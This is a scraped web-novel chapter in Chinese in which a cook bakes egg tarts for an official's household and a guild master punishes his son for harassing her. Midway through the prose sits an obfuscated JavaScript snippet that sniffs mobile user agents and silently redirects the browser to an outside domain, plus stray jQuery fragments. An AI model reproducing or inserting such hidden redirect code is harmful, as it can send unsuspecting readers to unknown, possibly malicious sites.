默认冷灰
24号文字
方正启体

26. 帮个小忙

作者:簪花惹草本书字数:K更新时间:
    其实温禧小看了谢丛,在初入军营时,他也只是一个小兵,除了有时候温祈会帮他之外,大多事情都是自己做的。


    温禧看着三个军爷在自己灶房和院儿里刷碗、擦桌、扫地,心里欣慰,看来温祈确实为人不错,起码在他生死不知的时候,还有这么个兄弟能心甘情愿地替他照顾家人。


    等都收拾完后,天色已晚,谢丛三人要告辞回家。温禧送至后门外,待莫风、莫云都上马后,谢丛忽得转身看向温禧:“新的户帖拿到后,可要马上去行会登记?”


    温禧点头:“事情宜早不宜迟,就是出了之前那档子事,不知道能不能顺利办下来。”


    谢丛却说:“放心,此事你不必担忧,定是能顺利办成的。只不过过两日我有军务在身,恐怕不能陪你一道去了。”


    “怎好次次都劳烦谢大人?”温禧摆手道,“我自己去便可,大人不是说了吗,定能顺利办成的。”


    不知为何,谢丛看到温禧这并不在乎的样子,心上略有一丝失望,他忽略这股情绪,又嘱咐道:“好,有什么事可以去卫所给莫云递话。估摸着半月后,我便能回来。”


    温禧点头道别。


    今日忙活了整一天,她甚至没有气力泡泡脚,略微擦洗了下,坚持着刷了牙,便举着油灯回到了自己房里,等看到炕上铺着崭新的床褥,且没有禔姐儿的身影时,她才意识到,这是专属于她的屋子。


    在她忙着准备晚上的宴席时,孙苗苗已经将她晾晒好的衣裳用铜壶灌上热水仔细熨烫了,一件件挂在了衣柜里;床头的小几上放着禔姐儿给她留的乌梅渴水;炕上的凉席祐哥儿用艾草熏了,散发着清香的气息,将头埋进新做的被子,嗅闻着上头残留的太阳的味道,温禧喟叹一声:有家有亲人有好友,我复何求?


    ……


    第二天中午,温家。


    午后的阳光透过树梢洒在后院里,温禧在灶房忙活着给杨复昇烤蛋挞,哦不,温禧给它起的大晟名字叫酥酪盏。


    拿来卖的甜点与自己家宴请的甜点自然不一样,温禧听莫风说过,杨复昇的父亲是显州卫指挥使,这样的富贵人家,女主人必然是品尝过无数佳肴,而温禧自然是想借助此次机缘入得杨家女主人的眼,最好是让其爱上自己家的甜点,自己也算是能寻得到一棵能依靠的大树。因此温禧今日也算是拿出了十二分的精力来对待。


    温禧用的是精面粉,为了降低筋度,她将麦粉放入铁锅中小火慢炒,微微炒熟,散发出麦香,从而模拟低筋面粉的口感。她取出一部分炒熟的麦粉,加入少许豆油和清凉的井水,揉成光滑的面团,揉好后用湿布盖着醒面,待会用来做水油皮。等待的工夫,她拿出新买的酥油与麦粉混合,揉至油和面充分融合,捏成一个结实的油酥团。


    之后,将醒好的水油面团擀成饼皮,中间包上油酥团,收口捏紧,用擀面杖擀成长方形的薄片,将薄片像叠被子一样叠三叠,再次擀开,重复三次,每完成一次温禧都要将面团吊入井水中“冰镇”片刻,以免酥油融化导致混酥。这个过程极其考验耐心和手感,稍微不慎就可能前功尽弃。


    最后,将经过数次折叠和冷藏的酥皮,卷成长卷,切成一个个小剂子,放入陶制的茶盏里,用手指一点点捏推,让面皮紧贴模具,成型后,加入用牛乳、糖、稠酪和蛋黄制成的蛋挞液,每个只倒七分满,放到陶盘上。用一把长柄的木铲,将铁盘稳稳地送入已经预热半个时辰的烤窑里,随后将明火的炭灰扒出,只留底层炽热的余烬和窑壁积蓄的高温烘烤。这个烤窑跟现代的烤箱不同,更考验人的技术和对火候的把控能力。好在温禧昨日已经做过了,对使用烤窑也有了一番心得——在烤制后期,要将窑门打开一条小缝,让少量氧气进入,并用扇子轻轻将底下的余烬扇得更旺一些,提升窑内上部温度,进行“上火”烘烤。这个过程很短,必须目不转睛,否则瞬间就焦黑了。


    这次制作过程比昨日的麻烦了一倍,当然获得的好评也加了一倍。温禧除了给杨复昇家做了两个食盒共四十个的量,还给自家也做了十个,正好五十个,两个烤窑一边二十五个。


    下午是伍安来拿的蛋挞,回了杨府后,由杨复昇亲自拿了来到后院凝晖堂,这是他母亲严夫人严蘅的居处。


    “呦,什么风把我们昇哥儿吹来了?”


    杨复昇进门时,严夫人正坐在榻上跟大儿媳孙流徵聊天,榻上的炕几上放着几碟果子,见到小儿子进来,笑着调侃。


    杨复昇笑道:“自然是有稀罕物来献给娘,只怕娘吃惯了汴京的美味,瞧不上儿送的了。”


    “幼妙,你瞧这促狭鬼,”严夫人指着杨复昇跟孙流徵说道,“我若是说一句,他有十句在这等着。”幼妙是杨家大少奶奶孙流徵的小字,取自司马相如的《长门赋并序》,“案流徵以却转兮,声幼妙而复扬”,孙流徵的祖父是当朝太常寺卿孙珩,醉心音律,故有此名。


    孙流徵捂嘴笑:“娘,昇哥儿今儿个可是送孝心来的,快别惹恼了他,我这个当嫂嫂的还想沾点光呢。”


    杨复昇吩咐丫鬟撤下炕几上的果子,将食盒放上,笑道:“显州城开的新铺子,儿特意订的,娘跟大嫂尝尝。”


    严夫人和孙流徵探头一看,食盒中放着果子形如杯盏,跟之前见过的果子都不同,盏托是层层叠叠、薄如蝉翼的酥皮,此刻已被烤成了诱人的金黄色,边缘微微翘起,呈现出焦糖色的斑点,一看便知极致酥脆。最奇妙的却是盏心,那是一种凝固的、颤巍巍的、如同嫩豆腐又如琥珀般的馅心,中心是漂亮的焦糖焦点,如同点睛之笔。


    杨复昇在旁边介绍着:“这叫酥酪盏。”


    孙流徵夸道:“这模样当真是精细得很。”嘴里说着,手上却不动,等着严夫人先吃。


    严夫人捏起一个,放入嘴里,咔嚓——”酥皮应声碎裂,酥脆的外层在舌尖瓦解,紧接着,嫩滑香甜的蛋奶馅瞬间涌入口中,其质地之柔嫩,几乎不用咀嚼,只需用上颚轻轻一抿便化开了。虽甜,却丝毫不腻,因为焦糖的微苦和奶香、蛋香完美地中和了它。甜味、奶味、蛋味、油酥味,层次分明又水乳交融,给了严夫人前所未有的味觉感受。


    严夫人叹道:“不仅外表精细,入口更是香甜诱人、入口即化,幼妙,你也尝尝。”


    孙流徵这才用帕子垫着拿起一个,轻咬一口,果然好吃!


    杨复昇看到两人惊为天人的表情,笑道:“怎样,我说得不错吧?这做酥酪盏的师傅虽年纪不大,但是手艺极好,娘未到显州的时候,多亏着去她那儿吃上一顿,儿才没被这府里的厨子饿死!”


    严夫人笑骂:“那厨子是你父亲做主留下的,当心他知道了打你。”


    杨复昇凑到严夫人旁边坐着,腆颜道:“这不是娘来了,有人给我撑腰了。”


    “也就是看在这酥酪盏的份上了。”严夫人点着杨复昇的额头道。


    “唉,可惜,也不知道下次这酥酪盏还买不买得到了。”杨复昇突地叹道。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178968|180862||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    孙流徵在旁奇道:“这是怎么说的?这酥酪盏味道好,论说应该很是畅销才对。”


    杨复昇道:“娘和大嫂有所不知,这酥酪盏乃是温记小食的掌柜制的,温掌柜手艺极佳,却也因此招人嫉恨,连那食饭行会也牵扯进来了,我与这温记食铺的掌柜私交甚好,实在不忍看她被欺辱,只恨我却无官无职,不能相帮。”


    严夫人和孙流徵到此也听出来了,这是求人办事来了,严夫人佯怒:“你看看,我就说他是无事不登三宝殿,这才刚吃了他一个酥酪盏,就要帮一个大忙了。”


    杨复昇笑道:“哎呀,娘,不算什么大忙,过几日爹不是要去参加显州通判的宴席,商讨商人捐粮之事吗?各行会的会长也去,就一句话的事儿。”


    严夫人又吃了一块,只觉满口留香,又听着小儿子对那食铺掌柜的夸赞之词,到底是答应了。


    .


    付荣知道自己办砸了事,迁怒于许大的同时,也暗自祷告自家老爹付庸不要知晓此事。


    幸而一连半个月都风平浪静,这日显州通判宴饮,各大行会接到了帖子,听说那位刚从汴京述职回来的杨指挥使也会出席。付庸作为食饭行会的会长自然去参加,回来就铁青着脸叫人将付荣“请”到了书房。


    “蠢货!”付庸抄起面前的瓷碗朝付荣扔了过去,“那许大是什么?一个趋炎附势的脚店掌柜,竟然能叫的动付家的郎君去替他办事?你可知今日席上,那杨指挥使指名道姓,说是有人冒充食饭行会当街欺辱民女,让我丢了好大的脸!说!他许了你什么?”


    付荣跪在下首:“他称要将温记的食方逼问出来,到时候跟儿两相分利……儿一时鬼迷心窍……”


    “我怎么生了你这么个眼皮子浅的东西!”付庸指着付荣的鼻子骂,“那卤味不过是贱肉做的吃食,专卖给那些子市井小民,能赚几个铜子儿?你难道还想把这不入流的吃食摆到咱们辽悦楼的食桌上去?”


    “儿……儿是受了那许大的欺瞒。”付荣嗫嚅道。


    “你已然及冠!不是三岁小儿,能被那区区一个脚店的掌柜蒙蔽了?我看你是猪油蒙了眼!若是做成了也还罢了,竟然还当街被揭穿。”付庸坐下来,盯着面前唯一的儿子,恨铁不成钢,“把手里的活交给滢姐儿,你去幽州管粮铺,若是做不好,也不必再管事了。”


    付荣应是,懦懦地出了门,一回头见付滢站在廊下,似笑非笑地看着他:“大哥,慢走不送。”


    付荣冷哼一声,甩袖而去。


    付滢收起眼里的轻蔑,推门而入,将地上散落的书籍拾起来,柔声道:“父亲莫气坏了身子,大哥是被那小人蒙蔽了,否则断不会如此行事的。”


    付庸倚在太师椅上,用手捏捏眉心:“哼,到底是小娘养大的,若你是男儿……”


    “父亲快莫说这话,被大哥知晓了该伤了父子和气。”付滢倒了杯茶,给付庸端过去,“滢儿只是一介女流,能为父亲和大哥分忧些许,便心满意足了。”


    付庸接过茶杯,喝了一口,缓解喉中不适:“你是个懂事的,只是荣哥儿太不省心!”


    付滢笑道:“父亲对大哥寄予厚望,大哥会明白父亲的一番苦心的,只是需要多历练,日后咱们付家可就指着大哥了。”


    付庸不满:“你爹还在呢!你也去罢,得空去楼里多看看,要他们近日警醒着点。”


    付滢应是,将茶杯端下,唤了家奴来清理书房,捏着帕子去了前院。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)